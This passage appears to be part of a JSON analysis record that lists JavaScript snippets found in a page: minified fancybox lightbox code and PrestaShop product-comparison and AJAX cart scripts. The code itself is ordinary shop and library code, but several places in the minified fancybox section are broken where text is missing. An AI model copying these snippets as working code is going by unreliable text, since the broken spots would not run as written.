k={},g,h,j,m,l;\"object\"===f.type(c)&&(c.nodeType&&(c=f(c)),t(c)?(k={href:c.data(\"fancybox-href\")||c.attr(\"href\"),title:c.data(\"fancybox-title\")||c.attr(\"title\"),isDom:!0,element:c},f.metadata&&f.extend(!0,k,c.metadata())):k=c);g=d.href||k.href||(q(c)?c:null);h=d.title!==v?d.title:k.title||\"\";m=(j=d.content||k.content)?\"html\":d.type||k.type;!m&&k.isDom&&(m=c.data(\"fancybox-type\"),m||(m=(m=c.prop(\"class\").match(/fancybox\\.(\\w+)/))?m[1]:null));q(g)&&(m||(b.isImage(g)?m=\"image\":b.isSWF(g)?m=\"swf\":\"#\"===g.charAt(0)?m=\"inline\":q(c)&&(m=\"html\",j=c)),\"ajax\"===m&&(l=g.split(/\\s+/,2),g=l.shift(),l=l.shift()));j||(\"inline\"===m?g?j=f(q(g)?g.replace(/.*(?=#[^\\s]+$)/,\"\"):g):k.isDom&&(j=c):\"html\"===m?j=g:!m&&(!g&&k.isDom)&&(m=\"inline\",j=c));f.extend(k,{href:g,type:m,content:j,title:h,selector:l});a[e]=k}),b.opts=f.extend(!0,{},b.defaults,d),d.keys!==v&&(b.opts.keys=d.keys?f.extend({},b.defaults.keys,d.keys):!1),b.group=a,b._start(b.opts.index)},cancel:function(){var a=b.coming;a&&!1!==b.trigger(\"onCancel\")&&(b.hideLoading(),b.ajaxLoad&&b.ajaxLoad.abort(),b.ajaxLoad=null,b.imgPreload&&(b.imgPreload.onload=b.imgPreload.onerror=null),a.wrap&&a.wrap.stop(!0,!0).trigger(\"onReset\").remove(),b.coming=null,b.current||b._afterZoomOut(a))},close:function(a){b.cancel();!1!==b.trigger(\"beforeClose\")&&(b.unbindEvents(),b.isActive&&(!b.isOpen||!0===a?(f(\".fancybox-wrap\").stop(!0).trigger(\"onReset\").remove(),b._afterZoomOut()):(b.isOpen=b.isOpened=!1,b.isClosing=!0,f(\".fancybox-item, .fancybox-nav\").remove(),b.wrap.stop(!0,!0).removeClass(\"fancybox-opened\"),b.transitions[b.current.closeMethod]())))},play:function(a){var d=function(){clearTimeout(b.player.timer)},e=function(){d();b.current&&b.player.isActive&&(b.player.timer=setTimeout(b.next,b.current.playSpeed))},c=function(){d();p.unbind(\".player\");b.player.isActive=!1;b.trigger(\"onPlayEnd\")};if(!0===a||!b.player.isActive&&!1!==a){if(b.current&&(b.current.loop||b.current.index=c.index?\"next\":\"prev\"],b.router=e||\"jumpto\",c.loop&&(0>a&&(a=c.group.length+a%c.group.length),a%=c.group.length),c.group[a]!==v&&(b.cancel(),b._start(a)))},reposition:function(a,d){var e=b.current,c=e?e.wrap:null,k;c&&(k=b._getPosition(d),a&&\"scroll\"===a.type?(delete k.position,c.stop(!0,!0).animate(k,200)):(c.css(k),e.pos=f.extend({},e.dim,k)))},update:function(a){var d=a&&a.type,e=!d||\"orientationchange\"===d;e&&(clearTimeout(B),B=null);b.isOpen&&!B&&(B=setTimeout(function(){var c=b.current;c&&!b.isClosing&&(b.wrap.removeClass(\"fancybox-tmp\"),(e||\"load\"===d||\"resize\"===d&&c.autoResize)&&b._setDimension(),\"scroll\"===d&&c.canShrink||b.reposition(a),b.trigger(\"onUpdate\"),B=null)},e&&!s?0:300))},toggle:function(a){b.isOpen&&(b.current.fitToView=\"boolean\"===f.type(a)?a:!b.current.fitToView,s&&(b.wrap.removeAttr(\"style\").addClass(\"fancybox-tmp\"),b.trigger(\"onUpdate\")),b.update())},hideLoading:function(){p.unbind(\".loading\");f(\"#fancybox-loading\").remove()},showLoading:function(){var a,d;b.hideLoading();a=f('
').click(b.cancel).appendTo(\"body\");p.bind(\"keydown.loading\",function(a){if(27===(a.which||a.keyCode))a.preventDefault(),b.cancel()});b.defaults.fixed||(d=b.getViewport(),a.css({position:\"absolute\",top:0.5*d.h+d.y,left:0.5*d.w+d.x}))},getViewport:function(){var a=b.current&&b.current.locked||!1,d={x:n.scrollLeft(),y:n.scrollTop()};a?(d.w=a[0].clientWidth,d.h=a[0].clientHeight):(d.w=s&&r.innerWidth?r.innerWidth:n.width(),d.h=s&&r.innerHeight?r.innerHeight:n.height());return d},unbindEvents:function(){b.wrap&&t(b.wrap)&&b.wrap.unbind(\".fb\");p.unbind(\".fb\");n.unbind(\".fb\")},bindEvents:function(){var a=b.current,d;a&&(n.bind(\"orientationchange.fb\"+(s?\"\":\" resize.fb\")+(a.autoCenter&&!a.locked?\" scroll.fb\":\"\"),b.update),(d=a.keys)&&p.bind(\"keydown.fb\",function(e){var c=e.which||e.keyCode,k=e.target||e.srcElement;if(27===c&&b.coming)return!1;!e.ctrlKey&&(!e.altKey&&!e.shiftKey&&!e.metaKey&&(!k||!k.type&&!f(k).is(\"[contenteditable]\")))&&f.each(d,function(d,k){if(1h[0].clientWidth||h[0].clientHeight&&h[0].scrollHeight>h[0].clientHeight),h=f(h).parent();if(0!==c&&!j&&1g||0>k)b.next(0>g?\"up\":\"right\");d.preventDefault()}}))},trigger:function(a,d){var e,c=d||b.coming||b.current;if(c){f.isFunction(c[a])&&(e=c[a].apply(c,Array.prototype.slice.call(arguments,1)));if(!1===e)return!1;c.helpers&&f.each(c.helpers,function(d,e){if(e&&b.helpers[d]&&f.isFunction(b.helpers[d][a]))b.helpers[d][a](f.extend(!0,{},b.helpers[d].defaults,e),c)});p.trigger(a)}},isImage:function(a){return q(a)&&a.match(/(^data:image\\/.*,)|(\\.(jp(e|g|eg)|gif|png|bmp|webp|svg)((\\?|#).*)?$)/i)},isSWF:function(a){return q(a)&&a.match(/\\.(swf)((\\?|#).*)?$/i)},_start:function(a){var d={},e,c;a=l(a);e=b.group[a]||null;if(!e)return!1;d=f.extend(!0,{},b.opts,e);e=d.margin;c=d.padding;\"number\"===f.type(e)&&(d.margin=[e,e,e,e]);\"number\"===f.type(c)&&(d.padding=[c,c,c,c]);d.modal&&f.extend(!0,d,{closeBtn:!1,closeClick:!1,nextClick:!1,arrows:!1,mouseWheel:!1,keys:null,helpers:{overlay:{closeClick:!1}}});d.autoSize&&(d.autoWidth=d.autoHeight=!0);\"auto\"===d.width&&(d.autoWidth=!0);\"auto\"===d.height&&(d.autoHeight=!0);d.group=b.group;d.index=a;b.coming=d;if(!1===b.trigger(\"beforeLoad\"))b.coming=null;else{c=d.type;e=d.href;if(!c)return b.coming=null,b.current&&b.router&&\"jumpto\"!==b.router?(b.current.index=a,b[b.router](b.direction)):!1;b.isActive=!0;if(\"image\"===c||\"swf\"===c)d.autoHeight=d.autoWidth=!1,d.scrolling=\"visible\";\"image\"===c&&(d.aspectRatio=!0);\"iframe\"===c&&s&&(d.scrolling=\"scroll\");d.wrap=f(d.tpl.wrap).addClass(\"fancybox-\"+(s?\"mobile\":\"desktop\")+\" fancybox-type-\"+c+\" fancybox-tmp \"+d.wrapCSS).appendTo(d.parent||\"body\");f.extend(d,{skin:f(\".fancybox-skin\",d.wrap),outer:f(\".fancybox-outer\",d.wrap),inner:f(\".fancybox-inner\",d.wrap)});f.each([\"Top\",\"Right\",\"Bottom\",\"Left\"],function(a,b){d.skin.css(\"padding\"+b,w(d.padding[a]))});b.trigger(\"onReady\");if(\"inline\"===c||\"html\"===c){if(!d.content||!d.content.length)return b._error(\"content\")}else if(!e)return b._error(\"href\");\"image\"===c?b._loadImage():\"ajax\"===c?b._loadAjax():\"iframe\"===c?b._loadIframe():b._afterLoad()}},_error:function(a){f.extend(b.coming,{type:\"html\",autoWidth:!0,autoHeight:!0,minWidth:0,minHeight:0,scrolling:\"no\",hasError:a,content:b.coming.tpl.error});b._afterLoad()},_loadImage:function(){var a=b.imgPreload=new Image;a.onload=function(){this.onload=this.onerror=null;b.coming.width=this.width/b.opts.pixelRatio;b.coming.height=this.height/b.opts.pixelRatio;b._afterLoad()};a.onerror=function(){this.onload=this.onerror=null;b._error(\"image\")};a.src=b.coming.href;!0!==a.complete&&b.showLoading()},_loadAjax:function(){var a=b.coming;b.showLoading();b.ajaxLoad=f.ajax(f.extend({},a.ajax,{url:a.href,error:function(a,e){b.coming&&\"abort\"!==e?b._error(\"ajax\",a):b.hideLoading()},success:function(d,e){\"success\"===e&&(a.content=d,b._afterLoad())}}))},_loadIframe:function(){var a=b.coming,d=f(a.tpl.iframe.replace(/\\{rnd\\}/g,(new Date).getTime())).attr(\"scrolling\",s?\"auto\":a.iframe.scrolling).attr(\"src\",a.href);f(a.wrap).bind(\"onReset\",function(){try{f(this).find(\"iframe\").hide().attr(\"src\",\"//about:blank\").end().empty()}catch(a){}});a.iframe.preload&&(b.showLoading(),d.one(\"load\",function(){f(this).data(\"ready\",1);s||f(this).bind(\"load.fb\",b.update);f(this).parents(\".fancybox-wrap\").width(\"100%\").removeClass(\"fancybox-tmp\").show();b._afterLoad()}));a.content=d.appendTo(a.inner);a.iframe.preload||b._afterLoad()},_preloadImages:function(){var a=b.group,d=b.current,e=a.length,c=d.preload?Math.min(d.preload,e-1):0,f,g;for(g=1;g<=c;g+=1)f=a[(d.index+g)%e],\"image\"===f.type&&f.href&&((new Image).src=f.href)},_afterLoad:function(){var a=b.coming,d=b.current,e,c,k,g,h;b.hideLoading();if(a&&!1!==b.isActive)if(!1===b.trigger(\"afterLoad\",a,d))a.wrap.stop(!0).trigger(\"onReset\").remove(),b.coming=null;else{d&&(b.trigger(\"beforeChange\",d),d.wrap.stop(!0).removeClass(\"fancybox-opened\").find(\".fancybox-item, .fancybox-nav\").remove());b.unbindEvents();e=a.content;c=a.type;k=a.scrolling;f.extend(b,{wrap:a.wrap,skin:a.skin,outer:a.outer,inner:a.inner,current:a,previous:d});g=a.href;switch(c){case \"inline\":case \"ajax\":case \"html\":a.selector?e=f(\"
\").html(e).find(a.selector):t(e)&&(e.data(\"fancybox-placeholder\")||e.data(\"fancybox-placeholder\",f('
').insertAfter(e).hide()),e=e.show().detach(),a.wrap.bind(\"onReset\",function(){f(this).find(e).length&&e.hide().replaceAll(e.data(\"fancybox-placeholder\")).data(\"fancybox-placeholder\",!1)}));break;case \"image\":e=a.tpl.image.replace(\"{href}\",g);break;case \"swf\":e='',h=\"\",f.each(a.swf,function(a,b){e+='';h+=\" \"+a+'=\"'+b+'\"'}),e+='\"}(!t(e)||!e.parent().is(a.inner))&&a.inner.append(e);b.trigger(\"beforeShow\");a.inner.css(\"overflow\",\"yes\"===k?\"scroll\":\"no\"===k?\"hidden\":k);b._setDimension();b.reposition();b.isOpen=!1;b.coming=null;b.bindEvents();if(b.isOpened){if(d.prevMethod)b.transitions[d.prevMethod]()}else f(\".fancybox-wrap\").not(a.wrap).stop(!0).trigger(\"onReset\").remove();b.transitions[b.isOpened?a.nextMethod:a.openMethod]();b._preloadImages()}},_setDimension:function(){var a=b.getViewport(),d=0,e=!1,c=!1,e=b.wrap,k=b.skin,g=b.inner,h=b.current,c=h.width,j=h.height,m=h.minWidth,u=h.minHeight,n=h.maxWidth,p=h.maxHeight,s=h.scrolling,q=h.scrollOutside?h.scrollbarWidth:0,x=h.margin,y=l(x[1]+x[3]),r=l(x[0]+x[2]),v,z,t,C,A,F,B,D,H;e.add(k).add(g).width(\"auto\").height(\"auto\").removeClass(\"fancybox-tmp\");x=l(k.outerWidth(!0)-k.width());v=l(k.outerHeight(!0)-k.height());z=y+x;t=r+v;C=E(c)?(a.w-z)*l(c)/100:c;A=E(j)?(a.h-t)*l(j)/100:j;if(\"iframe\"===h.type){if(H=h.content,h.autoHeight&&1===H.data(\"ready\"))try{H[0].contentWindow.document.location&&(g.width(C).height(9999),F=H.contents().find(\"body\"),q&&F.css(\"overflow-x\",\"hidden\"),A=F.outerHeight(!0))}catch(G){}}else if(h.autoWidth||h.autoHeight)g.addClass(\"fancybox-tmp\"),h.autoWidth||g.width(C),h.autoHeight||g.height(A),h.autoWidth&&(C=g.width()),h.autoHeight&&(A=g.height()),g.removeClass(\"fancybox-tmp\");c=l(C);j=l(A);D=C/A;m=l(E(m)?l(m,\"w\")-z:m);n=l(E(n)?l(n,\"w\")-z:n);u=l(E(u)?l(u,\"h\")-t:u);p=l(E(p)?l(p,\"h\")-t:p);F=n;B=p;h.fitToView&&(n=Math.min(a.w-z,n),p=Math.min(a.h-t,p));z=a.w-y;r=a.h-r;h.aspectRatio?(c>n&&(c=n,j=l(c/D)),j>p&&(j=p,c=l(j*D)),cz||y>r)&&(c>m&&j>u)&&!(19n&&(c=n,j=l(c/D)),g.width(c).height(j),e.width(c+x),a=e.width(),y=e.height();else c=Math.max(m,Math.min(c,c-(a-z))),j=Math.max(u,Math.min(j,j-(y-r)));q&&(\"auto\"===s&&jz||y>r)&&c>m&&j>u;c=h.aspectRatio?cu&&j
').appendTo(b.coming?b.coming.parent:a.parent);this.fixed=!1;a.fixed&&b.defaults.fixed&&(this.overlay.addClass(\"fancybox-overlay-fixed\"),this.fixed=!0)},open:function(a){var d=this;a=f.extend({},this.defaults,a);this.overlay?this.overlay.unbind(\".overlay\").width(\"auto\").height(\"auto\"):this.create(a);this.fixed||(n.bind(\"resize.overlay\",f.proxy(this.update,this)),this.update());a.closeClick&&this.overlay.bind(\"click.overlay\",function(a){if(f(a.target).hasClass(\"fancybox-overlay\"))return b.isActive?b.close():d.close(),!1});this.overlay.css(a.css).show()},close:function(){var a,b;n.unbind(\"resize.overlay\");this.el.hasClass(\"fancybox-lock\")&&(f(\".fancybox-margin\").removeClass(\"fancybox-margin\"),a=n.scrollTop(),b=n.scrollLeft(),this.el.removeClass(\"fancybox-lock\"),n.scrollTop(a).scrollLeft(b));f(\".fancybox-overlay\").remove().hide();f.extend(this,{overlay:null,fixed:!1})},update:function(){var a=\"100%\",b;this.overlay.width(a).height(\"100%\");I?(b=Math.max(G.documentElement.offsetWidth,G.body.offsetWidth),p.width()>b&&(a=p.width())):p.width()>n.width()&&(a=p.width());this.overlay.width(a).height(p.height())},onReady:function(a,b){var e=this.overlay;f(\".fancybox-overlay\").stop(!0,!0);e||this.create(a);a.locked&&(this.fixed&&b.fixed)&&(e||(this.margin=p.height()>n.height()?f(\"html\").css(\"margin-right\").replace(\"px\",\"\"):!1),b.locked=this.overlay.append(b.wrap),b.fixed=!1);!0===a.showEarly&&this.beforeShow.apply(this,arguments)},beforeShow:function(a,b){var e,c;b.locked&&(!1!==this.margin&&(f(\"*\").filter(function(){return\"fixed\"===f(this).css(\"position\")&&!f(this).hasClass(\"fancybox-overlay\")&&!f(this).hasClass(\"fancybox-wrap\")}).addClass(\"fancybox-margin\"),this.el.addClass(\"fancybox-margin\")),e=n.scrollTop(),c=n.scrollLeft(),this.el.addClass(\"fancybox-lock\"),n.scrollTop(e).scrollLeft(c));this.open(a)},onUpdate:function(){this.fixed||this.update()},afterClose:function(a){this.overlay&&!b.coming&&this.overlay.fadeOut(a.speedOut,f.proxy(this.close,this))}};b.helpers.title={defaults:{type:\"float\",position:\"bottom\"},beforeShow:function(a){var d=b.current,e=d.title,c=a.type;f.isFunction(e)&&(e=e.call(d.element,d));if(q(e)&&\"\"!==f.trim(e)){d=f('
'+e+\"
\");switch(c){case \"inside\":c=b.skin;break;case \"outside\":c=b.wrap;break;case \"over\":c=b.inner;break;default:c=b.skin,d.appendTo(\"body\"),I&&d.width(d.width()),d.wrapInner(''),b.current.margin[2]+=Math.abs(l(d.css(\"margin-bottom\")))}d[\"top\"===a.position?\"prependTo\":\"appendTo\"](c)}}};f.fn.fancybox=function(a){var d,e=f(this),c=this.selector||\"\",k=function(g){var h=f(this).blur(),j=d,k,l;!g.ctrlKey&&(!g.altKey&&!g.shiftKey&&!g.metaKey)&&!h.is(\".fancybox-wrap\")&&(k=a.groupAttr||\"data-fancybox-group\",l=h.attr(k),l||(k=\"rel\",l=h.get(0)[k]),l&&(\"\"!==l&&\"nofollow\"!==l)&&(h=c.length?f(c):e,h=h.filter(\"[\"+k+'=\"'+l+'\"]'),j=h.index(this)),a.index=j,!1!==b.open(h,a)&&g.preventDefault())};a=a||{};d=a.index||0;!c||!1===a.live?e.unbind(\"click.fb-start\").bind(\"click.fb-start\",k):p.undelegate(c,\"click.fb-start\").delegate(c+\":not('.fancybox-item, .fancybox-nav')\",\"click.fb-start\",k);this.filter(\"[data-fancybox-start=1]\").trigger(\"click\");return this};p.ready(function(){var a,d;f.scrollbarWidth===v&&(f.scrollbarWidth=function(){var a=f('
').appendTo(\"body\"),b=a.children(),b=b.innerWidth()-b.height(99).innerWidth();a.remove();return b});if(f.support.fixedPosition===v){a=f.support;d=f('
').appendTo(\"body\");var e=20===d[0].offsetTop||15===d[0].offsetTop;d.remove();a.fixedPosition=e}f.extend(b.defaults,{scrollbarWidth:f.scrollbarWidth(),fixed:f.support.fixedPosition,parent:f(\"body\")});a=f(r).width();J.addClass(\"fancybox-lock-test\");d=f(r).width();J.removeClass(\"fancybox-lock-test\");f(\"\").appendTo(\"head\")})})(window,document,jQuery);", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\t$(document).on('click', '.add_to_compare', function(e){\t\te.preventDefault();\t\tif (typeof addToCompare != 'undefined')\t\t\taddToCompare(parseInt($(this).data('id-product')));\t});\treloadProductComparison();\tcompareButtonsStatusRefresh();\ttotalCompareButtons();});function addToCompare(productId){\tvar totalValueNow = parseInt($('.bt_compare').next('.compare_product_count').val());\tvar action, totalVal;\tif ($.inArray(parseInt(productId),comparedProductsIds) === -1)\t\taction = 'add';\telse\t\taction = 'remove';\t$.ajax({\t\turl: baseUri + '?controller=products-comparison&ajax=1&action=' + action + '&id_product=' + productId,\t\tasync: true,\t\tcache: false,\t\tsuccess: function(data) {\t\t\tif (action === 'add' && comparedProductsIds.length < comparator_max_item) {\t\t\t\tcomparedProductsIds.push(parseInt(productId)),\t\t\t\tcompareButtonsStatusRefresh(),\t\t\t\ttotalVal = totalValueNow +1,\t\t\t\t$('.bt_compare').next('.compare_product_count').val(totalVal),\t\t\t\ttotalValue(totalVal);\t\t\t}\t\t\telse if (action === 'remove') {\t\t\t\tcomparedProductsIds.splice($.inArray(parseInt(productId), comparedProductsIds), 1),\t\t\t\tcompareButtonsStatusRefresh(),\t\t\t\ttotalVal = totalValueNow -1,\t\t\t\t$('.bt_compare').next('.compare_product_count').val(totalVal),\t\t\t\ttotalValue(totalVal);\t\t\t}\t\t\telse\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([{\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\tcontent: '

' + max_item + '

'\t\t\t\t\t}], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t\telse\t\t\t\t\talert(max_item);\t\t\t}\t\t\ttotalCompareButtons();\t\t},\t\terror: function(){}\t});}function reloadProductComparison(){\t$(document).on('click', 'a.cmp_remove', function(e){\t\te.preventDefault();\t\tvar idProduct = parseInt($(this).data('id-product'));\t\t$.ajax({\t\t\turl: baseUri + '?controller=products-comparison&ajax=1&action=remove&id_product=' + idProduct,\t\t\tasync: false,\t\t\tcache: false\t\t});\t\t$('td.product-' + idProduct).fadeOut(600);\t\tvar compare_product_list = get('compare_product_list');\t\tvar bak = compare_product_list;\t\tvar new_compare_product_list = [];\t\tcompare_product_list = decodeURIComponent(compare_product_list).split('|');\t\tfor (var i in compare_product_list)\t\t\tif (parseInt(compare_product_list[i]) != idProduct)\t\t\t\tnew_compare_product_list.push(compare_product_list[i]);\t\tif (new_compare_product_list.length)\t\t\twindow.location.search = window.location.search.replace(bak, new_compare_product_list.join(encodeURIComponent('|')));\t});};function compareButtonsStatusRefresh(){\t$('.add_to_compare').each(function() {\t\tif ($.inArray(parseInt($(this).data('id-product')), comparedProductsIds) !== -1)\t\t\t$(this).addClass('checked');\t\telse\t\t\t$(this).removeClass('checked');\t});}function totalCompareButtons(){\tvar totalProductsToCompare = parseInt($('.bt_compare .total-compare-val').html());\tif (typeof totalProductsToCompare !== \"number\" || totalProductsToCompare === 0)\t\t$('.bt_compare').attr(\"disabled\",true);\telse\t\t$('.bt_compare').attr(\"disabled\",false);}function totalValue(value){\t$('.bt_compare').find('.total-compare-val').html(value);}function get(name){\tvar regexS = \"[\\\\?&]\" + name + \"=([^&#]*)\";\tvar regex = new RegExp(regexS);\tvar results = regex.exec(window.location.search);\tif (results == null)\t\treturn \"\";\telse\t\treturn results[1];}", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\tajaxCart.overrideButtonsInThePage();\t$(document).on('click', '.block_cart_collapse', function(e){\t\te.preventDefault();\t\tajaxCart.collapse();\t});\t$(document).on('click', '.block_cart_expand', function(e){\t\te.preventDefault();\t\tajaxCart.expand();\t});\tvar current_timestamp = parseInt(new Date().getTime() / 1000);\tif (typeof $('.ajax_cart_quantity').html() == 'undefined' || (typeof generated_date != 'undefined' && generated_date != null && (parseInt(generated_date) + 30) < current_timestamp))\t\tajaxCart.refresh();\t/* roll over cart */\tvar cart_block = new HoverWatcher('#header .cart_block');\tvar shopping_cart = new HoverWatcher('#header .shopping_cart');\tvar is_touch_enabled = false;\tif ('ontouchstart' in document.documentElement)\t\tis_touch_enabled = true;\t$(document).on('click', '#header .shopping_cart > a:first', function(e){\t\te.preventDefault();\t\te.stopPropagation();\t\t// Simulate hover when browser says device is touch based\t\tif (is_touch_enabled)\t\t{\t\t\tif ($(this).next('.cart_block:visible').length && !cart_block.isHoveringOver())\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\telse if (ajaxCart.nb_total_products > 0 || parseInt($('.ajax_cart_quantity').html()) > 0)\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideDown(450);\t\t\treturn;\t\t}\t\telse\t\t\twindow.location.href = $(this).attr('href');\t});\t$(\"#header .shopping_cart a:first\").hover(\t\tfunction(){\t\t\tif (ajaxCart.nb_total_products > 0 || parseInt($('.ajax_cart_quantity').html()) > 0)\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideDown(450);\t\t},\t\tfunction(){\t\t\tsetTimeout(function(){\t\t\t\tif (!shopping_cart.isHoveringOver() && !cart_block.isHoveringOver())\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\t}, 200);\t\t}\t);\t$(\"#header .cart_block\").hover(\t\tfunction(){\t\t},\t\tfunction(){\t\t\tsetTimeout(function(){\t\t\t\tif (!shopping_cart.isHoveringOver())\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\t}, 200);\t\t}\t);\t$(document).on('click', '.delete_voucher', function(e){\t\te.preventDefault();\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\tasync: true,\t\t\tcache: false,\t\t\turl:$(this).attr('href') + '?rand=' + new Date().getTime()\t\t});\t\t$(this).parent().parent().remove(); ajaxCart.refresh();\t\tif ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc')\t\t{\t\t\tif (typeof(updateAddressSelection) != 'undefined')\t\t\t\tupdateAddressSelection();\t\t\telse\t\t\t\tlocation.reload();\t\t}\t});\t$(document).on('click', '#cart_navigation input', function(e){\t\t$(this).prop('disabled', 'disabled').addClass('disabled');\t\t$(this).closest(\"form\").get(0).submit();\t});\t$(document).on('click', '#layer_cart .cross, #layer_cart .continue, .layer_cart_overlay', function(e){\t\te.preventDefault();\t\t$('.layer_cart_overlay').hide();\t\t$('#layer_cart').fadeOut('fast');\t});\t$('#columns #layer_cart, #columns .layer_cart_overlay').detach().prependTo('#columns');});//JS Object : update the cart by ajax actionsvar ajaxCart = {\tnb_total_products: 0,\t//override every button in the page in relation to the cart\toverrideButtonsInThePage : function(){\t\t//for every 'add' buttons...\t\t$(document).off('click', '.ajax_add_to_cart_button').on('click', '.ajax_add_to_cart_button', function(e){\t\t\te.preventDefault();\t\t\tvar idProduct = parseInt($(this).data('id-product'));\t\t\tvar minimalQuantity = parseInt($(this).data('minimal_quantity'));\t\t\tif (!minimalQuantity)\t\t\t\tminimalQuantity = 1;\t\t\tif ($(this).prop('disabled') != 'disabled')\t\t\t\tajaxCart.add(idProduct, null, false, this, minimalQuantity);\t\t});\t\t//for product page 'add' button...\t\t$(document).off('click', '#add_to_cart button').on('click', '#add_to_cart button', function(e){\t\t\te.preventDefault();\t\t\tajaxCart.add($('#product_page_product_id').val(), $('#idCombination').val(), true, null, $('#quantity_wanted').val(), null);\t\t});\t\t//for 'delete' buttons in the cart block...\t\t$(document).off('click', '.cart_block_list .ajax_cart_block_remove_link').on('click', '.cart_block_list .ajax_cart_block_remove_link', function(e){\t\t\te.preventDefault();\t\t\t// Customized product management\t\t\tvar customizationId = 0;\t\t\tvar productId = 0;\t\t\tvar productAttributeId = 0;\t\t\tvar customizableProductDiv = $($(this).parent().parent()).find(\"div[data-id^=deleteCustomizableProduct_]\");\t\t\tvar idAddressDelivery = false;\t\t\tif (customizableProductDiv && $(customizableProductDiv).length)\t\t\t{\t\t\t\tvar ids = customizableProductDiv.data('id').split('_');\t\t\t\tif (typeof(ids[1]) != 'undefined')\t\t\t\t{\t\t\t\t\tcustomizationId = parseInt(ids[1]);\t\t\t\t\tproductId = parseInt(ids[2]);\t\t\t\t\tif (typeof(ids[3]) != 'undefined')\t\t\t\t\t\tproductAttributeId = parseInt(ids[3]);\t\t\t\t\tif (typeof(ids[4]) != 'undefined')\t\t\t\t\t\tidAddressDelivery = parseInt(ids[4]);\t\t\t\t}\t\t\t}\t\t\t// Common product management\t\t\tif (!customizationId)\t\t\t{\t\t\t\t//retrieve idProduct and idCombination from the displayed product in the block cart\t\t\t\tvar firstCut = $(this).parent().parent().data('id').replace('cart_block_product_', '');\t\t\t\tfirstCut = firstCut.replace('deleteCustomizableProduct_', '');\t\t\t\tids = firstCut.split('_');\t\t\t\tproductId = parseInt(ids[0]);\t\t\t\tif (typeof(ids[1]) != 'undefined')\t\t\t\t\tproductAttributeId = parseInt(ids[1]);\t\t\t\tif (typeof(ids[2]) != 'undefined')\t\t\t\t\tidAddressDelivery = parseInt(ids[2]);\t\t\t}\t\t\t// Removing product from the cart\t\t\tajaxCart.remove(productId, productAttributeId, customizationId, idAddressDelivery);\t\t});\t},\t// try to expand the cart\texpand : function(){\t\tif ($('.cart_block_list').hasClass('collapsed'))\t\t{\t\t\t$('.cart_block_list.collapsed').slideDown({\t\t\t\tduration: 450,\t\t\t\tcomplete: function(){\t\t\t\t\t$(this).parent().show(); // parent is hidden in global.js::accordion()\t\t\t\t\t$(this).addClass('expanded').removeClass('collapsed');\t\t\t\t}\t\t\t});\t\t\t// save the expand statut in the user cookie\t\t\t$.ajax({\t\t\t\ttype: 'POST',\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\turl: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(),\t\t\t\tasync: true,\t\t\t\tcache: false,\t\t\t\tdata: 'ajax_blockcart_display=expand',\t\t\t\tcomplete: function(){\t\t\t\t\t$('.block_cart_expand').fadeOut('fast', function(){\t\t\t\t\t\t$('.block_cart_collapse').fadeIn('fast');\t\t\t\t\t});\t\t\t\t}\t\t\t});\t\t}\t},\t// try to collapse the cart\tcollapse : function(){\t\tif ($('.cart_block_list').hasClass('expanded'))\t\t{\t\t\t$('.cart_block_list.expanded').slideUp('slow', function(){\t\t\t\t$(this).addClass('collapsed').removeClass('expanded');\t\t\t});\t\t\t// save the expand statut in the user cookie\t\t\t$.ajax({\t\t\t\ttype: 'POST',\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\turl: baseDir + 'modules/blockcart/blockcart-set-collapse.php' + '?rand=' + new Date().getTime(),\t\t\t\tasync: true,\t\t\t\tcache: false,\t\t\t\tdata: 'ajax_blockcart_display=collapse' + '&rand=' + new Date().getTime(),\t\t\t\tcomplete: function(){\t\t\t\t\t$('.block_cart_collapse').fadeOut('fast', function(){\t\t\t\t\t\t$('.block_cart_expand').fadeIn('fast');\t\t\t\t\t});\t\t\t\t}\t\t\t});\t\t}\t},\t// Fix display when using back and previous browsers buttons\trefresh : function(){\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&ajax=true&token=' + 